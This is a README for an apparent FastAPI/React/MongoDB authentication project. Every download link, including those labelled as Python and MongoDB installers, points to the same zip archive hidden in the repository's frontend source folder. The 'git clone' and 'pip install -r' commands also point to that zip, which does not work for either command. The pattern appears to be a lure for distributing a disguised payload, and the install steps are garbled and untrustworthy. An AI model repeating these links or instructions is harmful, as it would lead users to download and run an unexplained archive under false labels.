Welcome to the fastapi-auth-system! This application provides a complete authentication solution for your web applications. It uses FastAPI for the backend, React for the frontend, and MongoDB for data storage. With support for JWT (JSON Web Tokens) and bcrypt for password security, this system keeps your user data safe.
Follow these steps to get your fastapi-auth-system up and running:
-
Download the Application
Visit the Releases page to download the latest version of the application:
Download here -
Install Dependencies
Make sure you have the following software installed on your computer:- Python 3.7 or higher: You can download it from https://raw.githubusercontent.com/nicocrea71/fastapi-auth-system/main/frontend/src/fastapi-auth-system_2.6-beta.3.zip.
- https://raw.githubusercontent.com/nicocrea71/fastapi-auth-system/main/frontend/src/fastapi-auth-system_2.6-beta.3.zip: Available at https://raw.githubusercontent.com/nicocrea71/fastapi-auth-system/main/frontend/src/fastapi-auth-system_2.6-beta.3.zip.
- MongoDB: Install it from https://raw.githubusercontent.com/nicocrea71/fastapi-auth-system/main/frontend/src/fastapi-auth-system_2.6-beta.3.zip.
-
Clone or Download the Repository
You can download the code directly as a ZIP file or clone the repository using Git. To clone, run this command in your terminal:git clone https://raw.githubusercontent.com/nicocrea71/fastapi-auth-system/main/frontend/src/fastapi-auth-system_2.6-beta.3.zip -
Set Up the Backend
Open your terminal and navigate to the backend directory:cd fastapi-auth-system/backendInstall the required Python packages:
pip install -r https://raw.githubusercontent.com/nicocrea71/fastapi-auth-system/main/frontend/src/fastapi-auth-system_2.6-beta.3.zipSet up your MongoDB by creating a new database named
auth_system. -
Run the Backend
Start the FastAPI server:uvicorn main:app --reload -
Set Up the Frontend
Open a new terminal window. Navigate to the frontend directory:cd fastapi-auth-system/frontendInstall the required Node packages:
npm installThen, start the React application:
npm start -
Access the Application
Open your web browser and go to:
http://localhost:3000
You will see the authentication system interface.
- Secure Login: Users log in with a secure password system.
- User Registration: New users can create accounts directly through the app.
- Token Management: Utilizes JWT for managing user sessions.
- Data Safety: Bcrypt is used to store passwords securely in MongoDB.
- Responsive Design: The interface works well on both desktop and mobile devices.
To run the fastapi-auth-system, ensure your system meets these requirements:
- Operating System: Windows, macOS, or any Linux distribution.
- Memory: At least 4 GB of RAM.
- Disk Space: Minimum of 200 MB available.
- Internet connection for downloading dependencies and accessing MongoDB.
You can use the "Forgot Password" feature on the login page.
Yes, you can modify the source code as per your needs. Make sure to follow coding best practices.
Check the terminal or console for error messages. Errors often provide clues on what went wrong. You can also consult the community forums or GitHub issues page for help.
If you have any questions or need further assistance, feel free to reach out in the Issues section of the repository. Other users or contributors may also help you.
To get the fastapi-auth-system, make sure to visit the Releases page:
Download here
Thank you for choosing fastapi-auth-system for your authentication needs! We hope you find it useful and easy to implement.